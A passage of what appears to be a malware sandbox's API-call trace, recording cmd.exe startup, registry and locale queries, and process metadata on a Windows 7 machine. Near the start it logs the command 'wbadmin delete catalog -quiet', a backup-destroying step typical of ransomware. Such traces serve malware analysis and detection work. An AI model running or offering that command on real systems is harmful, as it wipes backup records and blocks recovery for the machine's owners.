_MaxCount=0x7) returned -16 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0280.084] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0280.084] GetProcessHeap () returned 0x270000 [0280.084] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x284640 | out: hHeap=0x270000) returned 1 [0280.084] GetProcessHeap () returned 0x270000 [0280.084] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0x12) returned 0x288900 [0280.084] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\wbadmin.exe", lpCommandLine="wbadmin delete catalog -quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Windows\\system32", lpStartupInfo=0x14edf0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="wbadmin delete catalog -quiet", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14eda0 | out: lpCommandLine="wbadmin delete catalog -quiet", lpProcessInformation=0x14eda0*(hProcess=0x54, hThread=0x50, dwProcessId=0x734, dwThreadId=0x144)) returned 1 [0280.411] CloseHandle (hObject=0x50) returned 1 [0280.411] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0280.411] GetProcessHeap () returned 0x270000 [0280.411] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x288980 | out: hHeap=0x270000) returned 1 [0280.411] GetEnvironmentStringsW () returned 0x28b240* [0280.411] GetProcessHeap () returned 0x270000 [0280.411] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x8, Size=0xaea) returned 0x288980 [0280.411] FreeEnvironmentStringsW (penv=0x28b240) returned 1 [0280.411] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e6a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e6a8, ReturnLength=0x0) returned 0x0 [0280.411] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdd000, lpBuffer=0x14e6e0, nSize=0x380, lpNumberOfBytesRead=0x14e6a0 | out: lpBuffer=0x14e6e0*, lpNumberOfBytesRead=0x14e6a0*=0x380) returned 1 [0280.411] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) Process: id = "14" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x7518f000" os_pid = "0x310" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "12" os_parent_pid = "0x7e8" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 85 os_tid = 0x5e8 [0197.907] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24f9b0 | out: lpSystemTimeAsFileTime=0x24f9b0*(dwLowDateTime=0xfc315880, dwHighDateTime=0x1d696f3)) [0197.907] GetCurrentProcessId () returned 0x310 [0197.907] GetCurrentThreadId () returned 0x5e8 [0197.907] GetTickCount () returned 0x113d4bd [0197.907] QueryPerformanceCounter (in: lpPerformanceCount=0x24f9b8 | out: lpPerformanceCount=0x24f9b8*=12512514976) returned 1 [0197.910] GetModuleHandleW (lpModuleName=0x0) returned 0x49f60000 [0197.910] __set_app_type (_Type=0x1) [0198.118] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x49f87810) returned 0x0 [0198.118] __getmainargs (in: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610, _DoWildCard=0, _StartInfo=0x49f8e0f4 | out: _Argc=0x49faa608, _Argv=0x49faa618, _Env=0x49faa610) returned 0 [0198.118] GetCurrentThreadId () returned 0x5e8 [0198.118] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x5e8) returned 0x3c [0198.118] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77970000 [0198.118] GetProcAddress (hModule=0x77970000, lpProcName="SetThreadUILanguage") returned 0x77986d40 [0198.118] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0198.119] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0198.119] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x24f948 | out: phkResult=0x24f948*=0x0) returned 0x2 [0198.119] VirtualQuery (in: lpAddress=0x24f930, lpBuffer=0x24f8b0, dwLength=0x30 | out: lpBuffer=0x24f8b0*(BaseAddress=0x24f000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.119] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x24f8b0, dwLength=0x30 | out: lpBuffer=0x24f8b0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.119] VirtualQuery (in: lpAddress=0x151000, lpBuffer=0x24f8b0, dwLength=0x30 | out: lpBuffer=0x24f8b0*(BaseAddress=0x151000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.119] VirtualQuery (in: lpAddress=0x154000, lpBuffer=0x24f8b0, dwLength=0x30 | out: lpBuffer=0x24f8b0*(BaseAddress=0x154000, AllocationBase=0x150000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.119] VirtualQuery (in: lpAddress=0x250000, lpBuffer=0x24f8b0, dwLength=0x30 | out: lpBuffer=0x24f8b0*(BaseAddress=0x250000, AllocationBase=0x250000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0198.119] GetConsoleOutputCP () returned 0x1b5 [0198.120] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0198.120] SetConsoleCtrlHandler (HandlerRoutine=0x49f83184, Add=1) returned 1 [0198.120] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.120] SetConsoleMode (hConsoleHandle=0xcc, dwMode=0x0) returned 0 [0198.120] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.120] GetConsoleMode (in: hConsoleHandle=0xcc, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0198.120] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.120] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0198.121] GetEnvironmentStringsW () returned 0x428a60* [0198.121] GetProcessHeap () returned 0x410000 [0198.121] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xa7c) returned 0x4294f0 [0198.121] FreeEnvironmentStringsW (penv=0x428a60) returned 1 [0198.121] GetProcessHeap () returned 0x410000 [0198.121] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x8) returned 0x4288e0 [0198.121] GetEnvironmentStringsW () returned 0x428a60* [0198.121] GetProcessHeap () returned 0x410000 [0198.121] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xa7c) returned 0x429f80 [0198.121] FreeEnvironmentStringsW (penv=0x428a60) returned 1 [0198.121] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e808 | out: phkResult=0x24e808*=0x44) returned 0x0 [0198.121] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x0, lpData=0x24e820*=0x18, lpcbData=0x24e804*=0x1000) returned 0x2 [0198.121] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x1, lpcbData=0x24e804*=0x4) returned 0x0 [0198.121] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x0, lpData=0x24e820*=0x1, lpcbData=0x24e804*=0x1000) returned 0x2 [0198.121] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x0, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x40, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x40, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x0, lpData=0x24e820*=0x40, lpcbData=0x24e804*=0x1000) returned 0x2 [0198.122] RegCloseKey (hKey=0x44) returned 0x0 [0198.122] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x24e808 | out: phkResult=0x24e808*=0x44) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x0, lpData=0x24e820*=0x40, lpcbData=0x24e804*=0x1000) returned 0x2 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x1, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x0, lpData=0x24e820*=0x1, lpcbData=0x24e804*=0x1000) returned 0x2 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x0, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x9, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x4, lpData=0x24e820*=0x9, lpcbData=0x24e804*=0x4) returned 0x0 [0198.122] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x24e800, lpData=0x24e820, lpcbData=0x24e804*=0x1000 | out: lpType=0x24e800*=0x0, lpData=0x24e820*=0x9, lpcbData=0x24e804*=0x1000) returned 0x2 [0198.122] RegCloseKey (hKey=0x44) returned 0x0 [0198.122] time (in: timer=0x0 | out: timer=0x0) returned 0x5f74275a [0198.122] srand (_Seed=0x5f74275a) [0198.122] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0198.122] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0198.123] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.123] GetProcessHeap () returned 0x410000 [0198.123] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x218) returned 0x42aa10 [0198.123] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0198.123] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0198.123] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0198.123] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0198.123] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0198.123] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0198.123] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0198.123] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0198.123] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0198.123] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0198.123] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0198.123] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0198.123] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0198.123] GetProcessHeap () returned 0x410000 [0198.123] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x4294f0 | out: hHeap=0x410000) returned 1 [0198.123] GetEnvironmentStringsW () returned 0x428a60* [0198.123] GetProcessHeap () returned 0x410000 [0198.123] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xa94) returned 0x42ac30 [0198.124] FreeEnvironmentStringsW (penv=0x428a60) returned 1 [0198.124] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0198.124] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0198.124] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0198.124] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0198.124] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0198.124] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0198.124] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0198.124] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0198.124] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0198.124] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0198.124] GetProcessHeap () returned 0x410000 [0198.124] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x38) returned 0x426490 [0198.124] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x24f610 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.124] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32", nBufferLength=0x104, lpBuffer=0x24f610, lpFilePart=0x24f5f0 | out: lpBuffer="C:\\Windows\\system32", lpFilePart=0x24f5f0*="system32") returned 0x13 [0198.124] GetFileAttributesW (lpFileName="C:\\Windows\\system32" (normalized: "c:\\windows\\system32")) returned 0x10 [0198.124] FindFirstFileW (in: lpFileName="C:\\Windows", lpFindFileData=0x24f320 | out: lpFindFileData=0x24f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb4a840, ftLastAccessTime.dwHighDateTime=0x1d4d57d, ftLastWriteTime.dwLowDateTime=0x2fb4a840, ftLastWriteTime.dwHighDateTime=0x1d4d57d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Windows", cAlternateFileName="")) returned 0x42b6d0 [0198.124] FindClose (in: hFindFile=0x42b6d0 | out: hFindFile=0x42b6d0) returned 1 [0198.125] FindFirstFileW (in: lpFileName="C:\\Windows\\system32", lpFindFileData=0x24f320 | out: lpFindFileData=0x24f320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec9a6f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xefd85d60, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0xefd85d60, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="System32", cAlternateFileName="")) returned 0x42b6d0 [0198.125] FindClose (in: hFindFile=0x42b6d0 | out: hFindFile=0x42b6d0) returned 1 [0198.125] GetFileAttributesW (lpFileName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 0x10 [0198.125] SetCurrentDirectoryW (lpPathName="C:\\Windows\\System32" (normalized: "c:\\windows\\system32")) returned 1 [0198.125] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Windows\\System32") returned 1 [0198.125] GetProcessHeap () returned 0x410000 [0198.125] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42ac30 | out: hHeap=0x410000) returned 1 [0198.125] GetEnvironmentStringsW () returned 0x42ac30* [0198.125] GetProcessHeap () returned 0x410000 [0198.125] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0xac4) returned 0x428a60 [0198.125] FreeEnvironmentStringsW (penv=0x42ac30) returned 1 [0198.125] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0198.125] GetProcessHeap () returned 0x410000 [0198.125] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x426490 | out: hHeap=0x410000) returned 1 [0198.125] GetProcessHeap () returned 0x410000 [0198.125] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x8, Size=0x4016) returned 0x42ac30 [0198.125] GetProcessHeap () returned 0x410000 [0198.125] HeapFree (in: hHeap=0x410000, dwFlags=0x0, lpMem=0x42ac30 | out: hHeap=0x410000) returned 1 [0198.125] GetConsoleOutputCP () returned 0x1b5 [0198.126] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0198.126] GetUserDefaultLCID () returned 0x409 [0198.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x49f97b50, cchData=8 | out: lpLCData=":") returned 2 [0198.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x24f720, cchData=128 | out: lpLCData="0") returned 2 [0198.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x24f720, cchData=128 | out: lpLCData="0") returned 2 [0198.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x24f720, cchData=128 | out: lpLCData="1") returned 2 [0198.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x49faa740, cchData=8 | out: lpLCData="/") returned 2 [0198.126] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x49faa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x49faa460, cchData=32 | out: lpLCData="Tue") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x49faa420, cchData=32 | out: lpLCData="Wed") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x49faa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x49faa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x49faa360, cchData=32 | out: lpLCData="Sat") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x49faa700, cchData=32 | out: lpLCData="Sun") returned 4 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x49f97b40, cchData=8 | out: lpLCData=".") returned 2 [0198.127] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x49faa4e0, cchData=8 | out: lpLCData=",") returned 2 [0198.127] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0198.128] GetProcessHeap () returned 0x410000 [0198.128] RtlAllocateHeap (HeapHandle=0x410000, Flags=0x0, Size=0x20c) returned 0x4295a0 [0198.128] GetConsoleTitleW (in: lpConsoleTitle=0x4295a0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0198.128] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.128] GetFileType (hFile=0xcc) returned 0x3 [0198.129] BrandingFormatString () returned 0x4297c0 [0198.134] GetVersion () returned 0x1db10106 [0198.134] _vsnwprintf (in: _Buffer=0x24f890, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x24f828 | out: _Buffer="6.1.7601") returned 8 [0198.134] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.134] GetFileType (hFile=0xcc) returned 0x3 [0198.134] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49fa6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0198.135] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x49fa6340, nSize=0x2000, Arguments=0x24f830 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0198.135] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.135] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0198.135] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x24f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f7b8*=0x24, lpOverlapped=0x0) returned 1 [0198.135] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f858 | out: _Buffer="\r\n") returned 2 [0198.135] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.135] GetFileType (hFile=0xcc) returned 0x3 [0198.136] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.136] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f828, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f828*=0x2, lpOverlapped=0x0) returned 1 [0198.136] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x24f858 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0198.136] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.136] GetFileType (hFile=0xcc) returned 0x3 [0198.136] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0198.136] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x24f828, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f828*=0x3f, lpOverlapped=0x0) returned 1 [0198.136] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x24f858 | out: _Buffer="\r\n") returned 2 [0198.136] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.136] GetFileType (hFile=0xcc) returned 0x3 [0198.136] _get_osfhandle (_FileHandle=1) returned 0xcc [0198.136] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0198.136] WriteFile (in: hFile=0xcc, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f828, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x24f828*=0x2, lpOverlapped=0x0) returned 1 [0198.137] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77970000 [0198.138] GetProcAddress (hModule=0x77970000, lpProcName="CopyFileExW") returned 0x779823d0 [0198.138] GetProcAddress (hModule=0x77970000, lpProcName="IsDebuggerPresent") returned 0x77978290 [0198.138] GetProcAddress (hModule=0x77970000, lpProcName="SetConsoleInputExeNameW") returned 0x779817e0 [0198.138] _get_osfhandle (_FileHandle=0) returned 0xc0 [0198.138] GetFileType (hFile=0xc0) returned 0x3 [0198.138] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0198.138] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x24f680 | out: TokenHandle=0x24f680*=0x0) returned 0xc000007c [0198.138] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x24f680 | out: TokenHandle=0x24f680*=0x50) returned 0x0 [0198.138] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x24f690, TokenInformationLength=0x4, ReturnLength=0x24f698 | out: TokenInformation=0x24f690, ReturnLength=0x24f698) returned 0x0 [0198.138] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x24f698, TokenInformationLength=0x4, 